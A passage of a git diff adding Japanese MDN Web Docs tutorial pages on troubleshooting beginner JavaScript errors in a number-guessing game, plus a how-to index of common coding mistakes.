の要素を参照する変数を作ろうとしています。この行の後ろで、値が <code>null</code> になっているか確認するため以下のコードを直後の 49行目に追加します。 + <pre class="brush: js notranslate">console.log(lowOrHi);</pre> + + <div class="note"> + <p><strong>注</strong>: <code><a href="/ja/docs/Web/API/Console/log">console.log()</a></code> は値をコンソールに出力する、デバッグするときにとても便利な関数です。これで 48行目で <code>lowOrHi</code> にセットしたはずの値がコンソールに出力されるでしょう。</p> + </div> + </li> + <li>ファイルを保存して再度ブラウザで読み込みます。そして <code>console.log()</code> の結果をコンソールで見てみましょう。 <img alt="" src="https://mdn.mozillademos.org/files/13494/console-log-output.png" style="display: block; margin: 0 auto;">わかりましたね。<code>lowOrHi</code> の値は <code>null</code> でした。これで問題が 48行目にあることがわかりました。</li> + <li>それでは何が問題となり得るか考えてみましょう。48行目では要素への参照を CSS セレクタを使用して取得する <code><a href="/ja/docs/Web/API/Document/querySelector">document.querySelector()</a></code> メソッドが使用されています。ファイルの少し上のほうにある、問題となる{{htmlelement("p")}} 要素を見てみましょう。 + <pre class="brush: js notranslate"><p class="lowOrHi"></p></pre> + </li> + <li>ここではクラスセレクタが必要です。クラスセレクタはドット (<code>.</code>) で始まりますが、48行目で <code>querySelector()</code> メソッドに渡された文字列にはドットがありません。これが問題でしょう！48行目の <code>lowOrHi</code> を <code>.lowOrHi</code> に変更してみてください。</li> + <li>ファイルを保存して再度読み込むと、<code>console.log()</code> の文は求めていた <code><p></code> 要素を表示しています。何とか次のエラーを潰すことができました！<code>console.log()</code> の行は削除してもいいですし、後で使うために残しておいても大丈夫です。</li> +</ol> + +<div class="note"> +<p><strong>注</strong>: <a href="/ja/docs/Web/JavaScript/Reference/Errors/Unexpected_type">TypeError: "x" is (not) "y"</a> のリファレンスページで、このエラーに関する詳細な説明が見られます。</p> +</div> + +<h3 id="Syntax_errors_round_three" name="Syntax_errors_round_three">文法エラーその 3</h3> + +<ol> + <li>さて、もう一度ゲームをプレイしてみましょう。ゲームは問題なく動いているようです。正解するか、残りの予想回数がなくなって、ゲームが終わるまでは...。</li> + <li>ここで、またゲームが止まってしまいました。最初のエラーと同じく "TypeError: resetButton.addeventListener is not a function" というエラーです！しかし、今回は 94行目から発生していると表示されています。</li> + <li>94行目を見ると、同じ間違いを犯したことがわかります。もう一度 <code>addeventListener</code> を <code>.addEventListener</code> に直してください。</li> +</ol> + +<h2 id="A_logic_error" name="A_logic_error">論理のエラー</h2> + +<p>今回はゲームは上手く動いているようです。しかし、何度か動かしていると、予想すべき「ランダムな」数字が常に 1 であることに気づくでしょう。これはあまりやりたくないゲームですね！</p> + +<p>これはゲームのロジックに間違いなく問題があります。ゲームはエラーとはなっていませんが、正しく動いてはいません。</p> + +<ol> + <li><code>randomNumber</code> 変数にランダムな数値が最初にセットされる場所を検索してみましょう。ゲームの開始で推測するランダムな数字を保存しようとしているのは 44行目のあたりです。 + + <pre class="brush: js notranslate">let randomNumber = Math.floor(Math.random()) + 1;</pre> + そして、それぞれのゲームの合間に次のランダムな数字を設定しているのは 113行目のあたりです。</li> + <li> + <pre class="brush: js notranslate">randomNumber = Math.floor(Math.random()) + 1;</pre> + </li> + <li>これらの行が問題となるかを確認するため、<code>console.log()</code> にもう一度登場してもらいましょう。先ほどのそれぞれの行の直下に以下のコードを追加します。 + <pre class="brush: js notranslate">console.log(randomNumber);</pre> + </li> + <li>保存して再度読み込んで、何度かプレイしてみましょう。コンソールに出力される <code>randomNumber</code> の値が常に 1 であることに気づきます。</li> +</ol> + +<h3 id="Working_through_the_logic" name="Working_through_the_logic">ロジックを何とかする</h3> + +<p>これを直すには、この行が何をしているのか考えなければなりません。まず <code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Math/random">Math.random()</a></code> を呼んでいます。これは 0 から 1 までのランダムな実数値を生成します。例えば 0.5675493843 などです。</p> + +<pre class="brush: js notranslate">Math.random()</pre> + +<p>次に <code>Math.random()</code> の実行結果を <code><a href="/ja/docs/Web/JavaScript/Reference/Global_Objects/Math/floor">Math.floor()</a></code> に渡して、一番近い整数に切り捨てています。そしてその結果に 1 を加えます。</p> + +<pre class="notranslate">Math.floor(Math.random()) + 1</pre> + +<p>0 から 1 のランダムな実数を切り捨てると、結果は常に 0 となり、それに 1 を加えることで常に 1 となります。ランダムな数を切り捨てる前に 100 を乗算しなければなりません。次のコードは 0 から 99 を返すでしょう。</p> + +<pre class="brush: js notranslate">Math.floor(Math.random()*100);</pre> + +<p>さらに 1 を加えることで、1 から 100 のランダムな数字を返してくれるようになります。</p> + +<pre class="brush: js notranslate">Math.floor(Math.random()*100) + 1;</pre> + +<p>先ほどの 2行をそれぞれ修正してください。保存して再度読み込むと、思い通りに動くようになっているでしょう！</p> + +<h2 id="Other_common_errors" name="Other_common_errors">その他のよくあるエラー</h2> + +<p>コードを書いていると、よくあるエラーは他にもあります。このセクションではそれらを紹介してみましょう。</p> + +<h3 id="SyntaxError_missing_before_statement" name="SyntaxError_missing_before_statement">SyntaxError: missing ; before statement</h3> + +<p>たいてい、このエラーはコード行のどこかの末尾にセミコロン (;) がないことを意味しています。しかし、時にはかなり難解です。例えば <code>checkGuess()</code> 関数内の、この行を</p> + +<pre class="brush: js notranslate">var userGuess = Number(guessField.value);</pre> + +<p>以下のように変更してみます。</p> + +<pre class="brush: js notranslate">var userGuess === Number(guessField.value);</pre> + +<p>そうすると、このエラーが吐かれます。違うことをやろうとしているように見えるのでしょう。値を変数にセットする代入演算子 (<code>=</code>) と、ある値が別の値と同じかどうかを判定して <code>true<font face="Open Sans, arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;"> または </span></font></code><code>false</code> を返す等値演算子 (<code>===</code>) を間違わないようにしてください。</p> + +<div class="note"> +<p><strong>注</strong>: <a href="/ja/docs/Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement">SyntaxError: missing ; before statement</a> のリファレンスページで、このエラーに関する詳細な説明が見られます。</p> +</div> + +<h3 id="The_program_always_says_youve_won_regardless_of_the_guess_you_enter" name="The_program_always_says_you've_won_regardless_of_the_guess_you_enter">プログラムが入力の内容に関わらずいつでも勝ちだと言ってくる</h3> + +<p>これは代入と比較を混同する別の症状でしょう。たとえば、<code>checkGuess()</code> 関数内の、この行を</p> + +<pre class="brush: js notranslate">if (userGuess === randomNumber) {</pre> + +<p>以下のように変更してみます。</p> + +<pre class="brush: js notranslate">if (userGuess = randomNumber) {</pre> + +<p>判定で常に <code>true</code> が返るようになり、常にプレイヤーが勝ったことになってしまいます。気を付けましょう！</p> + +<h3 id="SyntaxError_missing__after_argument_list" name="SyntaxError_missing_)_after_argument_list">SyntaxError: missing ) after argument list</h3> + +<p>これは単純です。大体は関数やメソッドの呼び出しで閉じ括弧を忘れたことを表しています。</p> + +<div class="note"> +<p><strong>注</strong>: <a href="/ja/docs/Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list">SyntaxError: missing ) after argument list</a> のリファレンスページで、このエラーに関する詳細な説明が見られます。</p> +</div> + +<h3 id="SyntaxError_missing_after_property_id" name="SyntaxError_missing_after_property_id">SyntaxError: missing : after property id</h3> + +<p>たいてい、このエラーは JavaScript のオブジェクトの書き方が正しくないことに関連しているのですが、</p> + +<pre class="brush: js notranslate">function checkGuess() {</pre> + +<p>上記のコードを以下のように変えても起きるでしょう。</p> + +<pre class="brush: js notranslate">function checkGuess( {</pre> + +<p>この変更でブラウザは関数の内容を関数の引数として渡しているように勘違いしてしまいます。括弧には気を付けましょう！</p> + +<h3 id="SyntaxError_missing_after_function_body" name="SyntaxError_missing_after_function_body">SyntaxError: missing } after function body</h3> + +<p>これは簡単ですね。たいていの場合、関数や条件ブロックの終わりの閉じ波括弧が抜けていることを表します。<code>checkGuess()</code> 関数の最後の閉じ波括弧を消すと発生します。</p> + +<h3 id="SyntaxError_expected_expression_got_string_or_SyntaxError_unterminated_string_literal" name="SyntaxError_expected_expression_got_'string'_or_SyntaxError_unterminated_string_literal">SyntaxError: expected expression, got '<em>string</em>' または SyntaxError: unterminated string literal</h3> + +<p>これらのエラーは文字列の始まりもしくは終わりのクォーテーションマークが抜けていることを表します。最初のエラーは、文字列の始めのクォーテーションマークの代わりに、ブラウザが予期しない文字列を見つけた (string には実際に見つけた文字列が入ります) ことを表し、2 つ目のエラーは文字列がクォーテーションマークで終わっていないことを表します。</p> + +<p>どのエラーにも言えることですが、上の例でも見たように、考えてください。エラーが起きた時に、エラーが起きた行の番号をみて、その行にエラーがあるか見てみます。エラーはその行に存在しないこともありますし、上述した理由以外で起きることもあるということを心に留めておいてください。</p> + +<div class="note"> +<p><strong>注</strong>: <a href="/ja/docs/Web/JavaScript/Reference/Errors/Unexpected_token">SyntaxError: Unexpected token</a> と <a href="/ja/docs/Web/JavaScript/Reference/Errors/Unterminated_string_literal">SyntaxError: unterminated string literal</a> のリファレンスページで、これらエラーに関する詳細な説明が見られます。</p> +</div> + +<h2 id="Summary" name="Summary">まとめ</h2> + +<p>やっとここまで来ましたね。簡単な JavaScript プログラムのエラーを見つけ出すための基本が理解できました。コードの間違いを解決するのがいつも簡単とは限りませんが、特に学習の最初の過程では、うまくいかない時にも寝る時間を数時間節約し、多少早く進捗をあげられるでしょう。</p> + +<h2 id="See_also" name="See_also">あわせて参照</h2> + +<div> +<ul> + <li>ここで挙げたもの以外にもいくつかのエラーの種類があります。詳細はリファレンスをご覧ください。( <a href="/ja/docs/Web/JavaScript/Reference/Errors">JavaScript エラーリファレンス</a> )</li> + <li>この記事を読んでもまだ直し方がわからないエラーに遭遇した場合は助けを求めましょう！ <a href="https://discourse.mozilla.org/c/mdn/learn">MDN Discourse フォーラムの Learning カテゴリー</a>や <a class="external external-icon" href="https://wiki.mozilla.org/Matrix">Matrix</a> の <a href="https://chat.mozilla.org/#/room/#mdn:mozilla.org">MDN Web Docs ルーム</a>などで聞いてください。{{訳注("いずれも英語ベースのもの")}}。日本語では <a href="https://join.slack.com/t/mozillajp/shared_invite/MjI2NDMwODUwNzY5LTE1MDI4MjEyMjktYjE2MThlMmM4OA">Mozilla Japan コミュニティの Slack</a> など。どんなエラーなのか教えてくれれば、助けてあげられるかもしれません。コードを見せてくれてもいいですね。</li> +</ul> +</div> + +<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/A_first_splash", "Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps")}}</p> + +<h2 id="In_this_module" name="In_this_module">このモジュール内</h2> + +<ul> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/What_is_JavaScript">JavaScript って何?</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/A_first_splash">JavaScript への最初のダイブ</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/What_went_wrong">何が間違っている? JavaScript のトラブルシューティング</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Variables">必要な情報を保存する — 変数</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Math">JavaScript での数学入門 — 数値と演算子について</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Strings">テキストを扱う — JavaScript での文字列</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Useful_string_methods">便利な文字列メソッド</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Arrays">配列</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Silly_story_generator">評価: バカ話ジェネレーター</a></li> +</ul> diff --git a/files/ja/learn/javascript/howto/index.html b/files/ja/learn/javascript/howto/index.html new file mode 100644 index 0000000000..528ce80fe4 --- /dev/null +++ b/files/ja/learn/javascript/howto/index.html @@ -0,0 +1,302 @@ +--- +title: JavaScriptのコードのよくある問題を解決する +slug: Learn/JavaScript/Howto +tags: + - Beginner + - JavaScript + - Learn +translation_of: Learn/JavaScript/Howto +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">JavaScript のコードが正しく動作しないので修正したい、というような場合にみられる、よくある問題の解決方法へのリンクを以下に示します。</p> + +<h2 id="Common_beginner's_mistakes" name="Common_beginner's_mistakes">初学者がよく陥る誤り</h2> + +<h3 id="Correct_spelling_and_casing" name="Correct_spelling_and_casing">スペル、大文字小文字を訂正する</h3> + +<p>コードが正しく動かない場合や、何かが未定義であるとブラウザーがエラーを出した場合、変数名や関数名のスペルが正しいか確認してください。</p> + +<p>ブラウザーの組み込み関数についての正誤例:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">正</th> + <th scope="col">誤</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>getElementsByTagName()</code></td> + <td><code>getElementbyTagName()</code></td> + </tr> + <tr> + <td><code>getElementsByName()</code></td> + <td><code>getElementByName()</code></td> + </tr> + <tr> + <td><code>getElementsByClassName()</code></td> + <td><code>getElementByClassName()</code></td> + </tr> + <tr> + <td><code>getElementById()</code></td> + <td><code>getElementsById()</code></td> + </tr> + </tbody> +</table> + +<h3 id="Semi-colon_position" name="Semi-colon_position">セミコロンの位置</h3> + +<p>セミコロンの位置に誤りがないか確認してください。</p> + +<p>例:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">正</th> + <th scope="col">誤</th> + </tr> + <tr> + <td><code>elem.style.color = 'red';</code></td> + <td><code>elem.style.color = 'red;'</code></td> + </tr> + </thead> +</table> + +<h3 id="Functions" name="Functions">関数</h3> + +<p>関数についての誤りは何点かあります。</p> + +<p>よくある誤りの一つとして、関数を定義したがどこからも呼び出していない、というものがあります。</p> + +<p>例:</p> + +<pre class="brush: js">function myFunction() { + alert('This is my function.'); +};</pre> + +<p>上記のコードで定義した関数は、例えば以下のように呼び出さないかぎり何もしません。</p> + +<pre class="brush: js">myFunction();</pre> + +<h4 id="Function_scope" name="Function_scope">関数のスコープ</h4> + +<p><a href="/ja/docs/Learn/JavaScript/Building_blocks/Functions#Function_scope_and_conflicts">関数は関数自身のスコープを持ちます</a>。変数をグローバルに（関数の外で）定義するか、<a href="/ja/docs/Learn/JavaScript/Building_blocks/Return_values">戻り値</a>として変数の値を関数の外に返さないかぎり、関数の外から関数の中で定義された変数にアクセスすることはできません。</p> + +<h4 id="Running_code_after_a_return_statement" name="Running_code_after_a_return_statement">return 文の後ろのコードの実行</h4> + +<p>return文で関数から値を返したとき、JavaScript のインタプリタはその関数を終了します。return文の後ろのコードは実行されません。</p> + +<p>Firefox などのいくつかのブラウザーは、return文の後ろにコードが存在する場合、開発者ツールのコンソールにエラーメッセージを出力します。Firefox が出力するメッセージは "unreachable code after return statement" です。</p> + +<h3 id="Object_notation_versus_normal_assignment" name="Object_notation_versus_normal_assignment">オブジェクトリテラル記法 vs 代入</h3> + +<p>通常、JavaScript で代入する場合、等号を使います。</p> + +<p>例:</p> + +<pre class="brush: js">var myNumber = 0;</pre> + +<p><a href="/ja/docs/Learn/JavaScript/Objects">オブジェクト</a>の場合は、メンバー名とその値をコロンで区切り、メンバー間をカンマで区切る必要があります。</p> + +<p>例:</p> + +<pre class="brush: js">var myObject = { + name : 'Chris', + age : 38 +}</pre> + +<h2 id="Basic_definitions" name="Basic_definitions">基本的な定義</h2> + +<div class="column-container"> +<div class="column-half"> +<ul> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/What_is_JavaScript#A_high-level_definition">JavaScript とは</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Variables#What_is_a_variable">変数とは</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Strings">文字列とは</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Arrays#What_is_an_Array">配列とは</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Looping_code">ループとは</a></li> +</ul> +</div> + +<div class="column-half"> +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Functions">関数とは</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Events">イベントとは</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Basics#Object_basics">オブジェクトとは</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/JSON#No_really_what_is_JSON">JSON とは</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Introduction#What_are_APIs">Web API とは</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents#The_document_object_model">DOM とは</a></li> +</ul> +</div> +</div> + +<h2 id="Basic_use_cases" name="Basic_use_cases">初級のユースケース</h2> + +<div class="column-container"> +<div class="column-half"> +<h3 id="General" name="General">全般</h3> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/What_is_JavaScript#How_do_you_add_JavaScript_to_your_page">JavaScript をページに追加するには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/What_is_JavaScript#Comments">JavaScript のコードにコメントを追加するには</a></li> +</ul> + +<h3 id="Variables" name="Variables">変数</h3> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Variables#Declaring_a_variable">変数を宣言するには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Variables#Initializing_a_variable">変数を値で初期化するには</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Variables#Updating_a_variable">変数の値を変更するには</a>(<a href="/ja/docs/Learn/JavaScript/First_steps/Math#Assignment_operators">代入演算子</a>についても参照してください)</li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Variables#Variable_types">JavaScript のデータ型とは</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Variables#Loose_typing">「弱い型付け」とは</a></li> +</ul> + +<h3 id="Math" name="Math">数学</h3> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Math#Types_of_numbers">Web開発で扱わなければならない数値型とは</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Math#Arithmetic_operators">JavaScript での基本的な算術演算の方法とは</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Math#Operator_precedence">JavaScript での演算子の優先順位とは</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Math#Increment_and_decrement_operators">JavaScript で値をインクリメント、デクリメントするには</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/First_steps/Math#Comparison_operators">JavaScript で値を比較するには</a>(どちらが大きいか、ある値が別の値と等しいか、など)</li> +</ul> + +<h3 id="Strings" name="Strings">文字列</h3> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Strings#Creating_a_string">JavaScript で文字列を作成するには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Strings#Single_quotes_versus_double_quotes">シングルクォーテーションを使うべきか、ダブルクォーテーションを使うべきか</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Strings#Escaping_characters_in_a_string">文字列をエスケープするには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Strings#Concatenating_strings">文字列を連結するには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Strings#Numbers_versus_strings">文字列と数値を連結できるかどうか</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Useful_string_methods#Finding_the_length_of_a_string">文字列の長さを調べるには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Useful_string_methods#Retrieving_a_specific_string_character">文字列内の特定位置の文字を調べるには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Useful_string_methods#Finding_a_substring_inside_a_string_and_extracting_it">文字列から部分文字列を抽出するには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Useful_string_methods#Changing_case">文字列の大文字・小文字を切り替えるには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Useful_string_methods#Updating_parts_of_a_string">文字列内の一部の文字列を別の文字列に置き換えるには</a></li> +</ul> +</div> + +<div class="column-half"> +<h3 id="Arrays" name="Arrays">配列</h3> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Arrays#Creating_an_array">配列を作成するには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Arrays#Accessing_and_modifying_array_items">配列内の要素を取得したり変更したりするには</a>(多次元配列の場合についても含む)</li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Arrays#Finding_the_length_of_an_array">配列の長さを調べるには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Arrays#Adding_and_removing_array_items">配列に要素を追加する、もしくは、配列から要素を削除するには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/Arrays#Converting_between_strings_and_arrays">文字列を分割して配列にするには、もしくは配列を連結して一つの文字列にするには</a></li> +</ul> + +<h3 id="Debugging_JavaScript" name="Debugging_JavaScript">JavaScript のデバッグ</h3> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/First_steps/What_went_wrong#Types_of_error">基本的なエラーの種類とは</a></li> + <li><a href="/ja/docs/Learn/Common_questions/What_are_browser_developer_tools">ブラウザー開発者ツールとは何か、どのように開くのか</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript#The_Console_API">JavaScript コンソールに値を出力するには</a></li> + <li><a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript#Using_the_JavaScript_debugger">ブレイクポイント等の JavaScript のデバッグ機能を使うには</a></li> +</ul> + +<p>JavaScript のデバッグに関する詳細については、<a href="/ja/docs/Learn/Tools_and_testing/Cross_browser_testing/JavaScript">JavaScript のよくある問題を扱う</a>を参照してください。よくあるエラーの説明については<a href="/ja/docs/Learn/JavaScript/First_steps/What_went_wrong#Other_common_errors">その他のよくあるエラー</a>を参照してください。</p> + +<h3 id="Making_decisions_in_code" name="Making_decisions_in_code">コード内での決定</h3> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/conditionals">変数の値やその他の条件によって異なるコードブロックのうちどれを実行するか決定するには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/conditionals#if_..._else_statements">if...else文を使用するには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/conditionals#Nesting_if_..._else">条件判定のブロックを別のブロックに入れ子にするには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/conditionals#Logical_operators_AND_OR_and_NOT">AND や OR、NOT を JavaScript で使用するには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/conditionals#switch_statements">多くの選択肢を一つの条件として手軽に扱うには</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/Building_blocks/conditionals#Ternary_operator">true/false の判定によって 2 つの選択肢から 1 つを手早く選択するのに、三項演算子を使用するには</a></li> +</ul> + +<h3 id="Loopingiteration" name="Loopingiteration">ループ/イテレーション</h3> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Looping_code">同一のコード片を繰り返し実行するには</a></li> + <li><a href="https://developer.mozilla.org/ja/docs/Learn/JavaScript/Building_blocks/Looping_code#Exiting_loops_with_break">終了条件にマッチする前に、ループを終了させるには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Looping_code#Skipping_iterations_with_continue">次の繰り返し処理にスキップするには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Looping_code#while_and_do_..._while">while ループ、do ... while ループを使用するには</a></li> + <li>配列内の要素を反復処理する方法</li> + <li>多次元配列の要素を反復処理する方法</li> + <li>オブジェクト内のメンバーを反復処理する方法</li> + <li>配列内にネストされたオブジェクトのメンバーを反復処理する方法</li> +</ul> +</div> +</div> + +<h2 id="Intermediate_use_cases" name="Intermediate_use_cases">中級のユースケース</h2> + +<div class="column-container"> +<div class="column-half"> +<h3 id="Functions_2" name="Functions_2">関数</h3> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Functions#Built-in_browser_functions">ブラウザー内での関数を調べるには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Functions#Functions_versus_methods">関数とメソッドの違いとは</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Build_your_own_function">独自の関数を作成するには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Functions#Invoking_functions">関数を呼び出すには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Functions#Anonymous_functions">匿名関数とは</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Functions#Function_parameters">関数を実行するときに引数を指定するには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Functions#Function_scope_and_conflicts">関数のスコープとは</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Return_values">戻り値とは何か、どのように戻り値を返すか</a></li> +</ul> + +<h3 id="Objects" name="Objects">オブジェクト</h3> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Basics#Object_basics">オブジェクトを作成するには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Basics#Dot_notation">ドット記法とは</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Basics#Bracket_notation">角括弧を用いた記法とは</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Basics#Setting_object_members">オブジェクトのメソッドやプロパティを取得、設定するには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Basics#What_is_this">オブジェクトのコンテキストにおける <code>this</code> とは何か</a></li> + <li><a href="/docs/Learn/JavaScript/Objects/Object-oriented_JS#Object-oriented_programming_from_10000_meters">オブジェクト指向プログラミングとは</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object-oriented_JS#Constructors_and_object_instances">コンストラクターやインスタンスとは何か、それらをどのように作成するか</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object-oriented_JS#Other_ways_to_create_object_instances">JavaScript でオブジェクトを作成する方法にはどのようなものがあるか</a></li> +</ul> + +<h3 id="JSON" name="JSON">JSON</h3> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Objects/JSON#JSON_structure">JSON の構造とは、JavaScript から JSON を読み取るには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/JSON#Loading_our_JSON">JSON ファイルをページに読み込むには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/JSON#Converting_between_objects_and_text">JSON からテキストに変換するには、テキストから JSON に変換するには</a></li> +</ul> +</div> + +<div class="column-half"> +<h3 id="Events" name="Events">イベント</h3> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Events#Event_handler_properties">イベントハンドラとは何か、どのように使うのか</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Events#Inline_event_handlers_%E2%80%94_don%27t_use_these">インラインイベントハンドラとは</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Events#addEventListener()_and_removeEventListener()"><code>addEventListener()</code> 関数は何をするものか、どのように使うのか</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Events#What_mechanism_should_I_use">自分のページにイベントのコードを追加するのに、どの方法を使用すべきか</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Events#Event_objects">イベントオブジェクトとは何か、どのように使うのか</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Events#Preventing_default_behaviour">既定のイベントの挙動を抑制するには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Events#Event_bubbling_and_capture">ネストされた要素でどのようにイベントが発火するか(イベントの伝播、キャプチャ、バブリング)</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Building_blocks/Events#Event_delegation">イベントのデリゲートとは何か、どのように動作するか</a></li> +</ul> + +<h3 id="Object-oriented_JavaScript" name="Object-oriented_JavaScript">オブジェクト指向 JavaScript</h3> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object_prototypes">オブジェクトのプロトタイプとは何か</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object_prototypes#The_constructor_property">コンストラクタープロパティとは何か、どのように使用するか</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Object_prototypes#Modifying_prototypes">どのようにコンストラクターにメソッドを追加するか</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Inheritance">継承元からメンバーを引き継いで新しいコンストラクターを作成するには</a></li> + <li><a href="/ja/docs/Learn/JavaScript/Objects/Inheritance#Object_member_summary">JavaScript で継承を使用すべきときはいつか</a></li> +</ul> + +<h3 id="Web_APIs" name="Web_APIs">Web API</h3> + +<ul> + <li><a href="/ja/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents#Active_learning_Basic_DOM_manipulation">JavaScript を使用して DOM を操作(要素の追加や削除)するには</a></li> +</ul> + +<p> </p> +</div> +</div> diff --git a/files/ja/learn/javascript/index.html b/files/ja/learn/javascript/index.html new file mode 100644 index 0000000000..eee3009b7a --- /dev/null +++ b/files/ja/learn/javascript/index.html @@ -0,0 +1,93 @@ +--- +title: JavaScript +slug: Learn/JavaScript +tags: + - CodingScripting + - JavaScript + - JavaScripting beginner + - Landing + - Module + - Topic + - 'l10n:priority' + - 初心者 +translation_of: Learn/JavaScript +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">{{Glossary("JavaScript")}} <span id="result_box" lang="ja"><span>はウェブページ上に複雑なものを実装することを可能にするプログラミング言語です。ウェブページが表示されるたびに静的な情報が表示されるだけでなく、タイムリーにコンテンツを更新したり、インタラクティブマップや 2D/3D グラフィックスのアニメーション</span></span><span lang="ja"><span>を表示したり、またはビデオジュークボックスが流れたりします。ほかにもありますが、これらは 間違いなく JavaScript が関係しています。</span></span></p> + +<div 